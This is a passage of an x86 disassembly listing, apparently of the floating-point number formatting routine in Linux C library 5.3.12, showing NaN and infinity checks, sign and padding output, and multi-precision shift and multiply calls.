loc_80533E6:				; CODE XREF: sub_8053310+7Fj
					; sub_8053310+90j ...
		mov	[ebp+var_50], 0

loc_80533ED:				; CODE XREF: sub_8053310+D4j
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+0Ch], 0
		jz	loc_8053494
		mov	eax, [ebx]
		mov	edx, [eax]
		mov	ecx, [eax+4]
		mov	dword ptr [ebp+var_C], edx
		mov	dword ptr [ebp+var_C+4], ecx
		mov	edx, [eax+8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	edx, dword ptr [ebp+var_C+4]
		push	eax
		push	edx
		mov	eax, dword ptr [ebp+var_C]
		push	eax
		call	__isnanl
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_80534B5
		mov	eax, [ebp+var_4]
		mov	edx, dword ptr [ebp+var_C+4]
		push	eax
		push	edx
		mov	eax, dword ptr [ebp+var_C]
		push	eax
		call	__isinfl
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_8053460
		mov	[ebp+var_54], offset unk_8067F88
		fldz
		fld	tbyte ptr [ebp+var_C]
		fcompp	st(1), st
		fnstsw	ax
		and	ah, 45h
		cmp	ah, 1
		setz	al
		jmp	loc_80534F0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053460:				; CODE XREF: sub_8053310+12Fj
		mov	eax, [ebp+var_4]
		mov	edx, dword ptr [ebp+var_C+4]
		push	eax
		push	edx
		mov	eax, dword ptr [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	2
		lea	eax, [ebp+var_44]
		push	eax
		call	__mpn_extract_long_double
		mov	[ebp+var_24], eax
		shl	eax, 5
		add	eax, 0FFFFFFC1h
		mov	[ebp+var_58], eax
		add	esp, 1Ch
		jmp	loc_8053526
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053494:				; CODE XREF: sub_8053310+E4j
		mov	eax, [ebx]
		mov	edx, [eax]
		mov	ecx, [eax+4]
		mov	dword ptr [ebp+var_C], edx
		mov	dword ptr [ebp+var_C+4], ecx
		mov	eax, dword ptr [ebp+var_C+4]
		mov	edx, dword ptr [ebp+var_C]
		push	eax
		push	edx
		call	__isnan
		add	esp, 8
		test	eax, eax
		jz	short loc_80534C8

loc_80534B5:				; CODE XREF: sub_8053310+113j
		mov	[ebp+var_54], offset unk_8067F84
		mov	[ebp+var_3C], 0
		jmp	short loc_8053526
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80534C8:				; CODE XREF: sub_8053310+1A3j
		mov	eax, dword ptr [ebp+var_C+4]
		mov	edx, dword ptr [ebp+var_C]
		push	eax
		push	edx
		call	__isinf
		add	esp, 8
		test	eax, eax
		jz	short loc_80534FC
		mov	[ebp+var_54], offset unk_8067F88
		fldz
		fcomp	[ebp+var_C]
		fnstsw	ax
		and	ah, 45h
		setz	al

loc_80534F0:				; CODE XREF: sub_8053310+14Aj
		and	eax, 0FFh
		mov	[ebp+var_3C], eax
		jmp	short loc_8053526
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80534FC:				; CODE XREF: sub_8053310+1CAj
		mov	eax, dword ptr [ebp+var_C+4]
		mov	edx, dword ptr [ebp+var_C]
		push	eax
		push	edx
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	2
		lea	eax, [ebp+var_44]
		push	eax
		call	__mpn_extract_double
		mov	[ebp+var_24], eax
		shl	eax, 5
		add	eax, 0FFFFFFCCh
		mov	[ebp+var_58], eax
		add	esp, 18h

loc_8053526:				; CODE XREF: sub_8053310+17Ej
					; sub_8053310+1B3j ...
		cmp	[ebp+var_54], 0
		jz	loc_80536C4
		mov	eax, [ebp+arg_4]
		mov	esi, [eax]
		cmp	[eax+4], esi
		jle	short loc_805353D
		mov	esi, [eax+4]

loc_805353D:				; CODE XREF: sub_8053310+228j
		cmp	[ebp+var_3C], 0
		jnz	short loc_8053552
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+24h], 0
		jnz	short loc_8053552
		cmp	dword ptr [edx+1Ch], 0
		jz	short loc_8053553

loc_8053552:				; CODE XREF: sub_8053310+231j
					; sub_8053310+23Aj
		dec	esi

loc_8053553:				; CODE XREF: sub_8053310+240j
		add	esi, 0FFFFFFFDh
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+20h], 0
		jnz	short loc_805357F
		test	esi, esi
		jle	short loc_805357F
		push	esi
		push	20h
		mov	eax, [ebp+arg_0]
		push	eax
		call	_IO_padn
		mov	ebx, eax
		add	esp, 0Ch
		cmp	ebx, esi
		jnz	loc_8054BD6
		add	[ebp+var_5C], esi

loc_805357F:				; CODE XREF: sub_8053310+24Dj
					; sub_8053310+251j
		cmp	[ebp+var_3C], 0
		jz	short loc_80535C0
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+18h], edx
		ja	short loc_80535AC
		push	2Dh
		push	ecx

loc_8053596:				; CODE XREF: sub_8053310+2CAj
					; sub_8053310+2FAj
		call	sub_8061910
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		jz	loc_8054BD6
		jmp	short loc_805361B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80535AC:				; CODE XREF: sub_8053310+281j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	byte ptr [eax],	2Dh
		mov	edx, [ebp+arg_0]
		inc	dword ptr [edx+14h]
		jmp	short loc_805361B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80535C0:				; CODE XREF: sub_8053310+273j
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+24h], 0
		jz	short loc_80535F0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	edx, [ebp+arg_0]
		cmp	[edx+18h], eax
		ja	short loc_80535DC
		push	2Bh
		push	edx
		jmp	short loc_8053596
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80535DC:				; CODE XREF: sub_8053310+2C5j
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		mov	byte ptr [ecx],	2Bh
		mov	eax, [ebp+arg_0]
		inc	dword ptr [eax+14h]
		jmp	short loc_805361B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80535F0:				; CODE XREF: sub_8053310+2B7j
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+1Ch], 0
		jz	short loc_805361E
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		mov	eax, [ebp+arg_0]
		cmp	[eax+18h], ecx
		ja	short loc_805360C
		push	20h
		push	eax
		jmp	short loc_8053596
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805360C:				; CODE XREF: sub_8053310+2F5j
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	byte ptr [edx],	20h
		mov	ecx, [ebp+arg_0]
		inc	dword ptr [ecx+14h]

loc_805361B:				; CODE XREF: sub_8053310+299j
					; sub_8053310+2ABj ...
		inc	[ebp+var_5C]

loc_805361E:				; CODE XREF: sub_8053310+2E7j
		mov	ebx, 2
		nop

loc_8053624:				; CODE XREF: sub_8053310+37Ej
		mov	eax, [ebp+var_54]
		movzx	edi, byte ptr [eax]
		inc	eax
		mov	[ebp+var_54], eax
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+18h], edx
		ja	short loc_8053660
		mov	eax, edi
		movzx	edi, al
		mov	[ebp+var_9C], edi
		push	edi
		push	ecx
		call	sub_8061910
		mov	edi, eax
		add	esp, 8
		cmp	edi, 0FFFFFFFFh
		jz	loc_8054BD6
		jmp	short loc_8053686
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053660:				; CODE XREF: sub_8053310+32Aj
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	ecx, edi
		mov	byte ptr [ebp+var_A0], cl
		mov	[edx], cl
		movzx	eax, byte ptr [ebp+var_A0]
		mov	edx, [ebp+arg_0]
		inc	dword ptr [edx+14h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_8054BD6

loc_8053686:				; CODE XREF: sub_8053310+34Cj
		inc	[ebp+var_5C]
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jnz	short loc_8053624
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+20h], 0
		jz	loc_8054C18
		test	esi, esi
		jle	loc_8054C18
		push	esi
		push	20h
		mov	eax, [ebp+arg_0]
		push	eax
		call	_IO_padn
		mov	ebx, eax
		cmp	ebx, esi
		jnz	loc_8054BD6
		add	[ebp+var_5C], esi
		jmp	loc_8054C18
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80536C4:				; CODE XREF: sub_8053310+21Aj
		mov	esi, [ebp+var_18]
		test	esi, esi
		jge	short loc_80536CD
		neg	esi

loc_80536CD:				; CODE XREF: sub_8053310+3B9j
		add	esi, 1Fh
		mov	ebx, esi
		jns	short loc_80536D7
		lea	ebx, [esi+1Fh]

loc_80536D7:				; CODE XREF: sub_8053310+3C2j
		mov	eax, ebx
		sar	eax, 5
		lea	eax, ds:10h[eax*4]
		sub	esp, eax
		mov	[ebp+var_20], esp
		sub	esp, eax
		mov	[ebp+var_30], esp
		sub	esp, eax
		mov	[ebp+var_2C], esp
		mov	[ebp+var_1C], 0
		cmp	[ebp+var_18], 2
		jle	loc_8053F0C
		xor	edi, edi
		mov	[ebp+var_60], 0Ch
		mov	[ebp+var_64], 0
		mov	[ebp+var_68], offset a@TheLinuxCLibr ; "@(#) The Linux C library 5.3.12"
		mov	edx, [ebp+var_58]
		add	edx, [ebp+var_18]
		mov	[ebp+var_A0], edx
		test	dl, 1Fh
		jnz	loc_8053928
		mov	ecx, [ebp+var_24]
		dec	ecx
		mov	[ebp+var_A4], ecx
		js	loc_8053912
		lea	ebx, ds:0[ecx*4]
		not	ecx
		mov	esi, ecx
		and	esi, 3
		cmp	[ebp+var_A4], 0FFFFFFFFh
		jle	short loc_80537C8
		test	esi, esi
		jz	loc_8053800
		cmp	esi, 3
		jge	short loc_80537C8
		cmp	esi, 2
		jge	short loc_8053799
		mov	esi, [ebp+var_A0]
		test	esi, esi
		jge	short loc_8053775
		add	esi, 1Fh

loc_8053775:				; CODE XREF: sub_8053310+460j
		sar	esi, 5
		mov	[ebp+var_9C], esi
		lea	eax, [ebx+esi*4]
		add	eax, [ebp+var_20]
		mov	edx, [ebp+var_A4]
		mov	edx, [ebp+edx*4+var_44]
		mov	[eax], edx
		add	ebx, 0FFFFFFFCh
		dec	[ebp+var_A4]

loc_8053799:				; CODE XREF: sub_8053310+456j
		mov	esi, [ebp+var_58]
		add	esi, [ebp+var_18]
		jns	short loc_80537A4
		add	esi, 1Fh

loc_80537A4:				; CODE XREF: sub_8053310+48Fj
		sar	esi, 5
		mov	[ebp+var_9C], esi
		lea	ecx, [ebx+esi*4]
		add	ecx, [ebp+var_20]
		mov	eax, [ebp+var_A4]
		mov	eax, [ebp+eax*4+var_44]
		mov	[ecx], eax
		add	ebx, 0FFFFFFFCh
		dec	[ebp+var_A4]

loc_80537C8:				; CODE XREF: sub_8053310+444j
					; sub_8053310+451j
		mov	esi, [ebp+var_58]
		add	esi, [ebp+var_18]
		jns	short loc_80537D3
		add	esi, 1Fh

loc_80537D3:				; CODE XREF: sub_8053310+4BEj
		sar	esi, 5
		mov	[ebp+var_9C], esi
		lea	edx, [ebx+esi*4]
		add	edx, [ebp+var_20]
		mov	ecx, [ebp+var_A4]
		mov	ecx, [ebp+ecx*4+var_44]
		mov	[edx], ecx
		add	ebx, 0FFFFFFFCh
		dec	[ebp+var_A4]
		js	loc_8053912
		lea	esi, [esi+0]

loc_8053800:				; CODE XREF: sub_8053310+448j
					; sub_8053310+5FCj
		mov	esi, [ebp+var_58]
		add	esi, [ebp+var_18]
		jns	short loc_805380B
		add	esi, 1Fh

loc_805380B:				; CODE XREF: sub_8053310+4F6j
		sar	esi, 5
		mov	[ebp+var_9C], esi
		lea	eax, [ebx+esi*4]
		add	eax, [ebp+var_20]
		mov	edx, [ebp+var_A4]
		mov	edx, [ebp+edx*4+var_44]
		mov	[eax], edx
		lea	ecx, [ebx-4]
		mov	[ebp+var_A0], ecx
		mov	esi, [ebp+var_A4]
		dec	esi
		mov	eax, [ebp+var_58]
		add	eax, [ebp+var_18]
		mov	[ebp+var_9C], eax
		jns	short loc_805384D
		add	eax, 1Fh
		mov	[ebp+var_9C], eax

loc_805384D:				; CODE XREF: sub_8053310+532j
		mov	edx, [ebp+var_9C]
		sar	edx, 5
		mov	ecx, [ebp+var_A0]
		lea	ecx, [ecx+edx*4]
		add	ecx, [ebp+var_20]
		mov	esi, [ebp+esi*4+var_44]
		mov	[ebp+var_150], esi
		mov	[ecx], esi
		lea	eax, [ebx-8]
		mov	[ebp+var_A0], eax
		mov	esi, [ebp+var_A4]
		add	esi, 0FFFFFFFEh
		mov	edx, [ebp+var_58]
		add	edx, [ebp+var_18]
		mov	[ebp+var_9C], edx
		jns	short loc_8053897
		add	edx, 1Fh
		mov	[ebp+var_9C], edx

loc_8053897:				; CODE XREF: sub_8053310+57Cj
		mov	ecx, [ebp+var_9C]
		sar	ecx, 5
		mov	eax, [ebp+var_A0]
		lea	eax, [eax+ecx*4]
		add	eax, [ebp+var_20]
		mov	esi, [ebp+esi*4+var_44]
		mov	[ebp+var_154], esi
		mov	[eax], esi
		lea	edx, [ebx-0Ch]
		mov	[ebp+var_A0], edx
		mov	esi, [ebp+var_A4]
		add	esi, 0FFFFFFFDh
		mov	ecx, [ebp+var_58]
		add	ecx, [ebp+var_18]
		mov	[ebp+var_9C], ecx
		jns	short loc_80538E1
		add	ecx, 1Fh
		mov	[ebp+var_9C], ecx

loc_80538E1:				; CODE XREF: sub_8053310+5C6j
		mov	eax, [ebp+var_9C]
		sar	eax, 5
		mov	edx, [ebp+var_A0]
		lea	edx, [edx+eax*4]
		add	edx, [ebp+var_20]
		mov	esi, [ebp+esi*4+var_44]
		mov	[ebp+var_158], esi
		mov	[edx], esi
		add	ebx, 0FFFFFFF0h
		add	[ebp+var_A4], 0FFFFFFFCh
		jns	loc_8053800

loc_8053912:				; CODE XREF: sub_8053310+429j
					; sub_8053310+4E7j
		mov	ebx, [ebp+var_58]
		add	ebx, [ebp+var_18]
		jns	short loc_805391D
		add	ebx, 1Fh

loc_805391D:				; CODE XREF: sub_8053310+608j
		mov	eax, ebx
		sar	eax, 5
		add	[ebp+var_24], eax
		jmp	short loc_8053999
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053928:				; CODE XREF: sub_8053310+419j
		mov	ebx, [ebp+var_58]
		add	ebx, [ebp+var_18]
		mov	esi, ebx
		jns	short loc_8053935
		lea	esi, [ebx+1Fh]

loc_8053935:				; CODE XREF: sub_8053310+620j
		mov	eax, esi
		and	al, 0E0h
		sub	ebx, eax
		mov	eax, ebx
		push	eax
		mov	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		mov	ebx, [ebp+var_58]
		add	ebx, [ebp+var_18]
		jns	short loc_8053951
		add	ebx, 1Fh

loc_8053951:				; CODE XREF: sub_8053310+63Cj
		mov	eax, ebx
		sar	eax, 5
		shl	eax, 2
		add	eax, [ebp+var_20]
		push	eax
		call	__mpn_lshift
		mov	[ebp+var_28], eax
		mov	ebx, [ebp+var_58]
		add	ebx, [ebp+var_18]
		jns	short loc_8053970
		add	ebx, 1Fh

loc_8053970:				; CODE XREF: sub_8053310+65Bj
		mov	eax, ebx
		sar	eax, 5
		add	[ebp+var_24], eax
		add	esp, 10h
		cmp	[ebp+var_28], 0
		jz	short loc_8053999
		mov	ecx, [ebp+var_24]
		shl	ecx, 2
		mov	[ebp+var_A4], ecx
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_20]
		mov	[edx+ecx], eax
		inc	[ebp+var_24]

loc_8053999:				; CODE XREF: sub_8053310+615j
					; sub_8053310+66Fj
		mov	[ebp+var_A4], 0
		mov	ebx, [ebp+var_20]
		mov	[ebp+var_A0], 0

loc_80539B0:				; CODE XREF: sub_8053310+6D4j
		mov	esi, [ebp+var_58]
		add	esi, [ebp+var_18]
		jns	short loc_80539BB
		add	esi, 1Fh

loc_80539BB:				; CODE XREF: sub_8053310+6A6j
		mov	eax, esi
		sar	eax, 5
		cmp	[ebp+var_A4], eax
		jge	short loc_80539E8
		mov	ecx, [ebp+var_A0]
		mov	dword ptr [ebx+ecx], 0
		add	ecx, 4
		mov	[ebp+var_A0], ecx
		inc	[ebp+var_A4]
		jmp	short loc_80539B0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80539E8:				; CODE XREF: sub_8053310+6B6j
		mov	esi, [ebp+var_68]
		add	esi, 4
		lea	esi, [esi]

loc_80539F0:				; CODE XREF: sub_8053310+7D9j
		add	esi, 0FFFFFFF0h
		add	[ebp+var_68], 0FFFFFFF0h
		mov	eax, edi
		add	eax, [esi+4]
		dec	eax
		cmp	[ebp+var_18], eax
		jl	loc_8053ADF
		cmp	[ebp+var_1C], 0
		jnz	short loc_8053A2C
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_68]
		mov	edx, [edx]
		mov	ebx, [esi]
		lea	ecx, ds:0[ebx*4]
		push	ecx
		push	edx
		push	eax
		call	memcpy
		add	esp, 0Ch
		jmp	short loc_8053A6A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053A2C:				; CODE XREF: sub_8053310+6FAj
		mov	eax, [esi]
		add	eax, 0FFFFFFFEh
		push	eax
		mov	edx, [ebp+var_68]
		mov	edx, [edx]
		add	edx, 8
		push	edx
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	eax, [ebp+var_2C]
		push	eax
		mov	edx, [ebp+var_30]
		push	edx
		call	__mpn_mul
		mov	[ebp+var_A4], eax
		mov	[ebp+var_28], eax
		mov	ebx, [ebp+var_1C]
		add	ebx, [esi]
		add	ebx, 0FFFFFFFEh
		add	esp, 14h
		cmp	[ebp+var_A4], 0
		jnz	short loc_8053A6A
		dec	ebx

loc_8053A6A:				; CODE XREF: sub_8053310+718j
					; sub_8053310+757j
		cmp	[ebp+var_24], ebx
		jg	short loc_8053A86
		jnz	short loc_8053ADF
		push	ebx
		mov	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		call	__mpn_cmp
		add	esp, 0Ch
		test	eax, eax
		jl	short loc_8053ADF

loc_8053A86:				; CODE XREF: sub_8053310+75Dj
		mov	ecx, [ebp+var_2C]
		mov	eax, [ebp+var_30]
		mov	[ebp+var_1C], ebx
		shl	ebx, 2
		mov	[ebp+var_9C], ebx
		push	ebx
		push	eax
		push	ecx
		call	memcpy
		add	esp, 0Ch
		mov	edx, [ebp+var_1C]
		shl	edx, 2
		mov	[ebp+var_9C], edx
		add	edx, [ebp+var_2C]
		add	edx, 0FFFFFFFCh
		bsr	ecx, [edx]
		mov	edi, [ebp+var_1C]
		add	edi, 0FFFFFFFEh
		shl	edi, 5
		mov	[ebp+var_A0], edi
		mov	edi, ecx
		xor	edi, 0FFFFFFE0h
		add	edi, [ebp+var_A0]
		mov	eax, 1
		mov	ecx, [ebp+var_60]
		shl	eax, cl
		or	[ebp+var_64], eax

loc_8053ADF:				; CODE XREF: sub_8053310+6F0j
					; sub_8053310+75Fj ...
		dec	[ebp+var_60]
		cmp	[ebp+var_68], offset off_8068DAC
		ja	loc_80539F0
		mov	edx, [ebp+var_64]
		mov	[ebp+var_18], edx
		cmp	[ebp+var_1C], 0
		jle	loc_80543D0
		xor	edi, edi
		mov	esi, [ebp+var_2C]
		cmp	dword ptr [esi], 0
		jnz	short loc_8053B46
		mov	ebx, [ebp+var_20]
		cmp	dword ptr [ebx], 0
		jnz	short loc_8053B46
		mov	edi, 1
		cmp	dword ptr [esi+4], 0
		jnz	short loc_8053B46
		cmp	dword ptr [ebx+4], 0
		jnz	short loc_8053B46
		mov	[ebp+var_A4], esi
		mov	esi, ebx
		mov	ebx, 4
		nop

loc_8053B30:				; CODE XREF: sub_8053310+834j
		add	ebx, 4
		inc	edi
		mov	ecx, [ebp+var_A4]
		cmp	dword ptr [ecx+ebx], 0
		jnz	short loc_8053B46
		cmp	dword ptr [esi+ebx], 0
		jz	short loc_8053B30

loc_8053B46:				; CODE XREF: sub_8053310+7F7j
					; sub_8053310+7FFj ...
		mov	eax, [ebp+var_1C]
		shl	eax, 2
		mov	[ebp+var_9C], eax
		add	eax, [ebp+var_2C]
		add	eax, 0FFFFFFFCh
		bsr	edx, [eax]
		mov	ebx, edx
		xor	bl, 1Fh
		test	ebx, ebx
		jnz	loc_8053D88
		test	edi, edi
		jle	loc_80543D0
		mov	ecx, [ebp+var_1C]
		sub	ecx, edi
		mov	[ebp+var_9C], ecx
		cmp	ebx, ecx
		jge	loc_8053C75
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_A4], eax
		lea	edx, ds:0[edi*4]
		mov	[ebp+var_A0], edx
		xor	ebx, ebx
		lea	esi, ds:0[ecx*4]
		and	ecx, 3
		mov	[ebp+var_9C], ecx
		jz	short loc_8053C0A
		cmp	ecx, 1
		jle	short loc_8053BE8
		cmp	ecx, 2
		jle	short loc_8053BCA
		add	edx, [ebp+var_2C]
		mov	ecx, [edx]
		mov	[eax], ecx
		add	[ebp+var_A0], 4
		mov	ebx, 4

loc_8053BCA:				; CODE XREF: sub_8053310+8A5j
		mov	eax, [ebp+var_A0]
		add	eax, [ebp+var_2C]
		mov	edx, [eax]
		mov	ecx, [ebp+var_A4]
		mov	[ecx+ebx], edx
		add	[ebp+var_A0], 4
		add	ebx, 4

loc_8053BE8:				; CODE XREF: sub_8053310+8A0j
		mov	eax, [ebp+var_A0]
		add	eax, [ebp+var_2C]
		mov	edx, [eax]
		mov	ecx, [ebp+var_A4]
		mov	[ecx+ebx], edx
		add	[ebp+var_A0], 4
		add	ebx, 4
		cmp	ebx, esi
		jz	short loc_8053C75

loc_8053C0A:				; CODE XREF: sub_8053310+89Bj
		mov	eax, [ebp+var_A4]
		add	eax, ebx
		mov	[ebp+var_A4], eax

loc_8053C18:				; CODE XREF: sub_8053310+963j
		mov	edx, [ebp+var_A0]
		add	edx, [ebp+var_2C]
		mov	ecx, [edx]
		mov	eax, [ebp+var_A4]
		mov	[eax], ecx
		mov	edx, [ebp+var_A0]
		add	edx, [ebp+var_2C]
		mov	ecx, [edx+4]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_A0]
		add	eax, [ebp+var_2C]
		mov	edx, [eax+8]
		mov	ecx, [ebp+var_A4]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_A0]
		add	eax, [ebp+var_2C]
		mov	edx, [eax+0Ch]
		mov	[ecx+0Ch], edx
		add	[ebp+var_A0], 10h
		add	ecx, 10h
		mov	[ebp+var_A4], ecx
		add	ebx, 10h
		cmp	ebx, esi
		jnz	short loc_8053C18

loc_8053C75:				; CODE XREF: sub_8053310+86Dj
					; sub_8053310+8F8j
		sub	[ebp+var_1C], edi
		mov	ecx, [ebp+var_24]
		sub	ecx, edi
		mov	[ebp+var_9C], ecx
		test	ecx, ecx
		jle	loc_8053D7D
		mov	eax, [ebp+var_20]
		mov	[ebp+var_A4], eax
		lea	edx, ds:0[edi*4]
		mov	[ebp+var_A0], edx
		xor	ebx, ebx
		lea	esi, ds:0[ecx*4]
		and	ecx, 3
		mov	[ebp+var_9C], ecx
		jz	short loc_8053D12
		cmp	ecx, 1
		jle	short loc_8053CF0
		cmp	ecx, 2
		jle	short loc_8053CD2
		add	edx, [ebp+var_20]
		mov	ecx, [edx]
		mov	[eax], ecx
		add	[ebp+var_A0], 4
		mov	ebx, 4

loc_8053CD2:				; CODE XREF: sub_8053310+9ADj
		mov	eax, [ebp+var_A0]
		add	eax, [ebp+var_20]
		mov	edx, [eax]
		mov	ecx, [ebp+var_A4]
		mov	[ecx+ebx], edx
		add	[ebp+var_A0], 4
		add	ebx, 4

loc_8053CF0:				; CODE XREF: sub_8053310+9A8j
		mov	eax, [ebp+var_A0]
		add	eax, [ebp+var_20]
		mov	edx, [eax]
		mov	ecx, [ebp+var_A4]
		mov	[ecx+ebx], edx
		add	[ebp+var_A0], 4
		add	ebx, 4
		cmp	ebx, esi
		jz	short loc_8053D7D

loc_8053D12:				; CODE XREF: sub_8053310+9A3j
		mov	eax, [ebp+var_A4]
		add	eax, ebx
		mov	[ebp+var_A4], eax

loc_8053D20:				; CODE XREF: sub_8053310+A6Bj
		mov	edx, [ebp+var_A0]
		add	edx, [ebp+var_20]
		mov	ecx, [edx]
		mov	eax, [ebp+var_A4]
		mov	[eax], ecx
		mov	edx, [ebp+var_A0]
		add	edx, [ebp+var_20]
		mov	ecx, [edx+4]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_A0]
		add	eax, [ebp+var_20]
		mov	edx, [eax+8]
		mov	ecx, [ebp+var_A4]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_A0]
		add	eax, [ebp+var_20]
		mov	edx, [eax+0Ch]
		mov	[ecx+0Ch], edx
		add	[ebp+var_A0], 10h
		add	ecx, 10h
		mov	[ebp+var_A4], ecx
		add	ebx, 10h
		cmp	ebx, esi
		jnz	short loc_8053D20

loc_8053D7D:				; CODE XREF: sub_8053310+975j
					; sub_8053310+A00j
		sub	[ebp+var_24], edi
		jmp	loc_80543D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053D88:				; CODE XREF: sub_8053310+852j
		lea	esi, ds:0[edi*4]
		mov	ecx, [ebp+var_2C]
		mov	[ebp+var_A4], ecx
		cmp	dword ptr [ecx+esi], 0
		jz	short loc_8053DC8
		bsf	eax, [ecx+esi]
		mov	[ebp+var_A0], eax
		mov	edx, [ebp+var_20]
		mov	[ebp+var_A4], edx
		cmp	dword ptr [edx+esi], 0
		jz	short loc_8053DDC
		bsf	esi, [edx+esi]
		cmp	esi, eax
		jge	short loc_8053DDC
		mov	[ebp+var_A0], esi
		jmp	short loc_8053DDC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053DC8:				; CODE XREF: sub_8053310+A8Cj
		lea	ecx, ds:0[edi*4]
		mov	eax, [ebp+var_20]
		bsf	eax, [eax+ecx]
		mov	[ebp+var_A0], eax

loc_8053DDC:				; CODE XREF: sub_8053310+AA5j
					; sub_8053310+AADj ...
		test	edi, edi
		jnz	short loc_8053E38
		mov	eax, 20h
		sub	eax, ebx
		cmp	[ebp+var_A0], eax
		jge	short loc_8053E47
		push	ebx
		mov	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_2C]
		push	eax
		push	eax
		call	__mpn_lshift
		push	ebx
		mov	eax, [ebp+var_24]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		push	eax
		call	__mpn_lshift
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		add	esp, 20h
		test	ebx, ebx
		jz	loc_80543D0
		mov	edx, [ebp+var_24]
		shl	edx, 2
		mov	[ebp+var_A0], edx
		mov	ecx, [ebp+var_20]
		mov	[ecx+edx], ebx
		inc	[ebp+var_24]
		jmp	loc_80543D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053E38:				; CODE XREF: sub_8053310+ACEj
		mov	eax, 20h
		sub	eax, ebx
		cmp	[ebp+var_A0], eax
		jl	short loc_8053EA4

loc_8053E47:				; CODE XREF: sub_8053310+ADDj
		mov	esi, 20h
		sub	esi, ebx
		push	esi
		mov	eax, [ebp+var_1C]
		sub	eax, edi
		push	eax
		lea	ebx, ds:0[edi*4]
		mov	eax, ebx
		add	eax, [ebp+var_2C]
		push	eax
		mov	eax, [ebp+var_2C]
		push	eax
		call	__mpn_rshift
		mov	eax, [ebp+var_1C]
		dec	eax
		sub	eax, edi
		mov	[ebp+var_1C], eax
		push	esi
		mov	eax, [ebp+var_24]
		sub	eax, edi
		push	eax
		add	ebx, [ebp+var_20]
		push	ebx
		mov	eax, [ebp+var_20]
		push	eax
		call	__mpn_rshift
		add	esp, 20h
		mov	eax, [ebp+var_24]
		sub	eax, edi
		shl	eax, 2
		add	eax, [ebp+var_20]
		cmp	dword ptr [eax-4], 0
		jnz	short loc_8053EFC
		mov	ebx, [ebp+var_24]
		dec	ebx
		jmp	short loc_8053EFF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8053EA4:				; CODE XREF: sub_8053310+B35j
		mov	esi, 20h
		sub	esi, ebx
		push	esi
		mov	eax, [ebp+var_1C]
		inc	eax
		sub	eax, edi
		push	eax
		lea	ebx, ds:0FFFFFFFCh[edi*4]
		mov	eax, ebx
		add	eax, [ebp+var_2C]
		push	eax
		mov	eax, [ebp+var_2C]
		push	eax
		call	__mpn_rshift
		sub	[ebp+var_1C], edi
		push	esi
		mov	eax, [ebp+var_24]
		inc	eax
		sub	eax, edi
		push	eax
		add	ebx, [ebp+var_20]
		push	ebx
		mov	eax, [ebp+var_20]
		push	eax
		call	__mpn_rshift
		add	esp, 20h
